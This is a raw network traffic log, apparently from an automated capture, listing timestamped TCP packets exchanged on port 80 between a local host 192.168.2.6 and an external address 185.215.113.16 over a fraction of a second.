Oct 31, 2024 01:19:16.210165024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.210186958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.210199118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.210210085 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.210233927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.210247040 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246352911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246375084 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246387959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246409893 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246462107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246774912 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246823072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246874094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246886969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246908903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246915102 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246927023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246934891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246942043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246942997 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246954918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246965885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246968985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246977091 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.246978045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246992111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.246999979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247003078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247029066 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247041941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247256994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247267008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247298002 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247340918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247379065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247384071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247404099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247421980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247421980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247437954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247448921 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247457027 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247467995 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247477055 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247486115 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247504950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247507095 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247522116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247528076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247535944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247545004 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247555017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247560978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247570992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247575045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247596979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247615099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247641087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247663021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247678041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247683048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247694969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247700930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247715950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247719049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247736931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247739077 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247745991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247752905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247764111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247773886 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247775078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247790098 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247807980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247813940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247838020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247848034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247850895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247859955 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247869968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247875929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247881889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247895002 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247922897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247926950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247946024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247966051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247966051 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247982025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.247988939 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.247992992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248008013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248018980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248022079 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248030901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248044014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248044014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248054981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248065948 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248075962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248086929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248101950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248112917 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248135090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248138905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248147011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248157024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248177052 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248183966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248197079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248203039 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248208046 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248220921 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248230934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248233080 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248243093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248258114 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248262882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248266935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248280048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248284101 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248295069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248305082 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248321056 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248322964 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248334885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248346090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248346090 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248358965 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248366117 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248373032 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248383999 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248411894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248447895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248460054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248485088 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248486042 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248509884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248528004 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248541117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248553038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248564005 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248575926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248578072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248593092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248599052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248611927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248625994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248637915 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248639107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248645067 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248655081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248666048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248677969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248682976 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248713017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248816013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248833895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248846054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248856068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248856068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248869896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248898029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248925924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248930931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248939037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248965979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248976946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248987913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.248996973 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.248999119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249006987 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249011993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249023914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249036074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249038935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249064922 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249083042 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249092102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249105930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249128103 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249147892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249193907 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249207973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249221087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249237061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249243021 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249243021 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249250889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249259949 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249263048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249301910 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249324083 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249349117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249365091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249377012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249383926 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249418974 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249425888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249439001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249449968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249465942 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249478102 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249567986 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249582052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249593019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249605894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249608040 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249635935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249660969 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249681950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249694109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249705076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249728918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249737024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249748945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249757051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249758959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249772072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249783039 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249783993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249797106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249810934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249813080 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249823093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249831915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249835968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.249845982 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.249877930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250368118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250395060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250406981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250416040 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250417948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250431061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250439882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250444889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250477076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250478029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250490904 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250502110 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250509977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250540972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250787020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250825882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250845909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250857115 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250884056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250893116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250902891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250910044 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250921011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250930071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250941992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250941992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250961065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250962973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250978947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.250981092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.250989914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251000881 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251015902 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251028061 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251746893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251766920 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251776934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251789093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251801014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251820087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251877069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251889944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251899958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.251914024 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.251938105 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.252156973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252173901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252192020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252202988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252202988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.252226114 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.252232075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252244949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252253056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.252254009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252265930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252278090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.252280951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.252306938 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.252321959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323298931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323342085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323367119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323379040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323390007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323400974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323414087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323424101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323436022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323446035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323457956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323467970 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323477983 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323487997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323498964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323510885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323523045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323532104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323538065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323542118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323560953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323606014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323606014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323606014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323606014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323616028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323618889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323618889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323627949 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323628902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323664904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323673964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323687077 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323703051 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323715925 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323733091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323741913 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323745966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323761940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323774099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323774099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323785067 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323793888 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323807001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323815107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323826075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323837996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323837996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323851109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323863029 CET	80	49995	185.215.113.16	192.168.2.6
